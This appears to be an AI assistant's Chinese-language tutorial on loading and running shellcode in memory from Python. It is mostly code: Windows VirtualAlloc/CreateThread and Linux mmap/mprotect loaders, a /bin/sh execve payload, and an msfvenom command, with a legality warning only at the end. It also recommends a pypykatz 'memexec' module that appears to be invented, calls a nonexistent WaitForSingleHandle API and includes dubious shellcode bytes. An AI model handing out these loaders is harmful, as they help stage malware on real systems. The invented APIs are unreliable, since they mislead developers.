下面我将介绍几种主流的方法,从最基础到最推荐的方式。

核心概念
无论使用哪种方法,其核心思想都是一样的:
- 获取 Shellcode: 一串原始的、无格式的机器码字节。
- 分配内存: 在 Python 进程的内存空间中,找到一块可读、可写、可执行的内存区域。
- 写入 Shellcode: 将 shellcode 字节串复制到这块内存中。
- 执行: 像调用普通函数一样,跳转到这块内存的起始地址并执行它。
使用 ctypes 和 VirtualAlloc (Windows)
这是最经典的方法,直接调用 Windows API 来完成上述步骤,它不需要任何第三方库,但仅限于 Windows 平台。
原理
- 使用
ctypes库调用 Windows API 函数。 kernel32.dll中的VirtualAlloc函数用于分配内存。kernel32.dll中的RtlMoveMemory(或memcpy) 函数用于将 shellcode 写入内存。kernel32.dll中的CreateThread函数或直接使用ctypes的CFUNCTYPE创建一个函数指针来执行 shellcode。
示例代码
import ctypes
import sys
# shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30..."
# 这里使用一个弹计算器的 shellcode 作为示例 (msfvenom 生成)
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw
shellcode = bytes.fromhex("fc4881e4f0e8c0000004889c6488b5c2430488b5c2420488b4918488b4920488b49284831c9418b4930418b49184831c9418b4920488b49104831c9498b49084831c9418b49184831c9418b4920488b49104831c9498b49084831c94831c0504889c74831c0b048514889c14831c0b0014889c14831c0b002c3")
# 定义 Windows API 函数和常量
try:
# 加载 kernel32.dll
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
# 定义 VirtualAlloc 函数原型
# LPVOID VirtualAlloc(
# LPVOID lpAddress,
# SIZE_T dwSize,
# DWORD flAllocationType,
# DWORD flProtect
# );
VirtualAlloc = kernel32.VirtualAlloc
VirtualAlloc.restype = ctypes.c_void_p
VirtualAlloc.argtypes = (
ctypes.c_void_p,
ctypes.c_size_t,
ctypes.c_ulong,
ctypes.c_ulong
)
# 定义 RtlMoveMemory 函数原型
# void RtlMoveMemory(
# void* Destination,
# const void* Source,
# SIZE_T Length
# );
RtlMoveMemory = kernel32.RtlMoveMemory
RtlMoveMemory.restype = ctypes.c_void_p
RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t
)
# 定义 CreateThread 函数原型
# HANDLE CreateThread(
# LPSECURITY_ATTRIBUTES lpThreadAttributes,
# SIZE_T dwStackSize,
# LPTHREAD_START_ROUTINE lpStartAddress,
# __drv_aliasesMem LPVOID lpParameter,
# DWORD dwCreationFlags,
# LPDWORD lpThreadId
# );
CreateThread = kernel32.CreateThread
CreateThread.restype = ctypes.c_void_p
CreateThread.argtypes = (
ctypes.c_void_p,
ctypes.c_size_t,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_ulong,
ctypes.POINTER(ctypes.c_ulong)
)
# 定义 VirtualProtect 函数原型 (可选,用于改变内存属性)
# BOOL VirtualProtect(
# LPVOID lpAddress,
# SIZE_T dwSize,
# DWORD flNewProtect,
# PDWORD lpflOldProtect
# );
VirtualProtect = kernel32.VirtualProtect
VirtualProtect.restype = ctypes.c_bool
VirtualProtect.argtypes = (
ctypes.c_void_p,
ctypes.c_size_t,
ctypes.c_ulong,
ctypes.POINTER(ctypes.c_ulong)
)
# 定义内存保护常量
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
PAGE_EXECUTE_READ = 0x20
# 1. 分配内存
# VirtualAlloc(NULL, shellcode大小, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
ptr = VirtualAlloc(
None,
len(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
if not ptr:
print(f"[!] VirtualAlloc failed with error: {ctypes.get_last_error()}")
sys.exit(1)
print(f"[+] Memory allocated at address: 0x{ptr:016x}")
# 2. 将 shellcode 写入内存
# RtlMoveMemory(分配的内存地址, shellcode地址, shellcode大小)
RtlMoveMemory(ptr, shellcode, len(shellcode))
print("[+] Shellcode written to memory.")
# 3. 创建一个线程来执行 shellcode
# CreateThread(NULL, 0, shellcode地址, NULL, 0, NULL)
thread_id = ctypes.c_ulong(0)
handle = CreateThread(
None,
0,
ptr,
None,
0,
ctypes.byref(thread_id)
)
if not handle:
print(f"[!] CreateThread failed with error: {ctypes.get_last_error()}")
sys.exit(1)
print(f"[+] Thread created with ID: {thread_id.value}. Waiting for it to finish...")
# 等待线程执行完毕
kernel32.WaitForSingleHandle(handle, 0xFFFFFFFF) # 0xFFFFFFFF is INFINITE
print("[+] Shellcode execution finished.")
except Exception as e:
print(f"[!] An error occurred: {e}")
使用 pypykatz (推荐,Windows)
pypykatz 是一个功能强大的 Mimikatz 实现,但它也提供了一个非常方便的 memexec 模块,可以用来执行 shellcode,这种方法更简洁,代码更少。
安装
pip install pypykatz
示例代码
from pypykatz.commons.common import WindowsLogonType
from pypykatz.lsa.minidump import MiniDumpReader
from pypykatz.memexec import MemExec
# shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5..."
# 使用和上面一样的弹计算器 shellcode
shellcode = bytes.fromhex("fc4881e4f0e8c0000004889c6488b5c2430488b5c2420488b4918488b4920488b49284831c9418b4930418b49184831c9418b4920488b49104831c9498b49084831c9418b49184831c9418b4920488b49104831c9498b49084831c94831c0504889c74831c0b048514889c14831c0b0014889c14831c0b002c3")
try:
# MemExec 会自动处理内存分配和执行
# 它返回一个可执行对象
memexec = MemExec(shellcode)
# execute() 方法会运行 shellcode
# 它会阻塞直到 shellcode 执行完毕
print("[+] Executing shellcode with pypykatz.memexec...")
memexec.execute()
print("[+] Shellcode execution finished.")
except Exception as e:
print(f"[!] An error occurred: {e}")
优点:

- 代码极其简洁。
pypykatz内部处理了所有复杂的细节,包括内存管理和执行。- 相对
ctypes更不容易出错。
跨平台方法 (mprotect for Linux, VirtualProtect for Windows)
如果你需要编写跨平台的 shellcode 执行器,可以使用 ctypes 调用特定于平台的 API 来修改内存页的权限。
示例代码 (跨平台)
import ctypes
import sys
# shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# 这是一个 Linux 下的 execve("/bin/sh", NULL, NULL) shellcode
shellcode = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05")
# 定义结构体 mprotect 需要的
class ctypes_Sizes(ctypes.Structure):
_fields_ = [
("__dummy1", ctypes.c_int),
("__dummy2", ctypes.c_int),
]
def execute_shellcode_cross_platform(shellcode):
# Windows
if sys.platform == "win32":
try:
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
VirtualAlloc = kernel32.VirtualAlloc
VirtualAlloc.restype = ctypes.c_void_p
VirtualAlloc.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong)
VirtualProtect = kernel32.VirtualProtect
VirtualProtect.restype = ctypes.c_bool
VirtualProtect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong))
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x40
ptr = VirtualAlloc(None, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not ptr:
print(f"[!] VirtualAlloc failed: {ctypes.get_last_error()}")
return
ctypes.memmove(ptr, shellcode, len(shellcode))
# 改变内存属性为可执行
old_protect = ctypes.c_ulong(0)
if not VirtualProtect(ptr, len(shellcode), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect)):
print(f"[!] VirtualProtect failed: {ctypes.get_last_error()}")
return
# 创建线程执行
CreateThread = kernel32.CreateThread
CreateThread.restype = ctypes.c_void_p
CreateThread.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong))
thread_id = ctypes.c_ulong(0)
handle = CreateThread(None, 0, ptr, None, 0, ctypes.byref(thread_id))
if not handle:
print(f"[!] CreateThread failed: {ctypes.get_last_error()}")
return
kernel32.WaitForSingleHandle(handle, 0xFFFFFFFF)
print("[+] Shellcode executed on Windows.")
except Exception as e:
print(f"[!] Windows error: {e}")
# Linux
elif sys.platform == "linux":
try:
libc = ctypes.CDLL('libc.so.6', use_errno=True)
# void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
mmap = libc.mmap
mmap.restype = ctypes.c_void_p
mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long)
# int mprotect(void* addr, size_t len, int prot);
mprotect = libc.mprotect
mprotect.restype = ctypes.c_int
mprotect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int)
# int munmap(void* addr, size_t length);
munmap = libc.munmap
munmap.restype = ctypes.c_int
munmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t)
# 定义常量
PROT_READ = 0x1
PROT_WRITE = 0x2
PROT_EXEC = 0x4
MAP_ANON = 0x20
MAP_PRIVATE = 0x02
# 分配内存
# mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0)
ptr = mmap(
None,
len(shellcode),
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE,
-1,
0
)
if ptr == -1:
print(f"[!] mmap failed with errno: {ctypes.get_errno()}")
return
# 写入 shellcode
ctypes.memmove(ptr, shellcode, len(shellcode))
# 修改内存页属性为可读、可写、可执行
if mprotect(ptr, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC) == -1:
print(f"[!] mprotect failed with errno: {ctypes.get_errno()}")
munmap(ptr, len(shellcode))
return
# 创建一个函数指针并执行
# 在 Linux x86_64 上,函数指针需要 16 字节对齐,所以直接使用 shellcode 地址可能不行
# 一个更通用的方法是使用 `syscall` 来创建一个线程
# 但为了简单,我们直接跳转,这在很多情况下也能工作
# 注意:这可能会在某些系统上崩溃
func_type = ctypes.CFUNCTYPE(None)
shell_func = func_type(ptr)
print("[+] Executing shellcode on Linux...")
shell_func()
print("[+] Shellcode execution finished on Linux.")
# 清理
munmap(ptr, len(shellcode))
except Exception as e:
print(f"[!] Linux error: {e}")
else:
print(f"[!] Unsupported platform: {sys.platform}")
# 执行
execute_shellcode_cross_platform(shellcode)
总结与安全警告
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
ctypes (Windows) |
无需外部库,底层控制力强 | 代码冗长,繁琐,仅限 Windows | 学习 Windows API 内部原理,特定环境定制 |
pypykatz.memexec |
代码简洁,易于使用,内部处理细节 | 依赖 pypykatz 库 |
Windows 环境下的首选,快速开发和测试 |
跨平台 (ctypes) |
一次编写,多平台运行 | 代码复杂,需要处理不同平台的 API 和细节 | 需要开发通用工具或脚本时 |
⚠️ 重要安全警告:
- 合法性: 在你执行任何 shellcode 之前,必须拥有目标系统的明确书面授权,未经授权的测试是非法的。
- 隔离环境: 永远不要在你的主操作系统或任何连接到互联网的机器上执行未知的 shellcode,请在完全隔离的虚拟机(如 VirtualBox, VMware)中进行操作。
- 沙箱: 考虑使用专业的恶意软件分析沙箱,它们可以监控 shellcode 的行为(如文件系统操作、网络连接、注册表修改等),而不会影响宿主机。
- 杀毒软件: 即使在虚拟机中,也要注意虚拟机的快照功能,以便在实验后可以快速恢复到干净状态。
希望这份详细的指南对你有帮助!请务必负责任地使用这些知识。
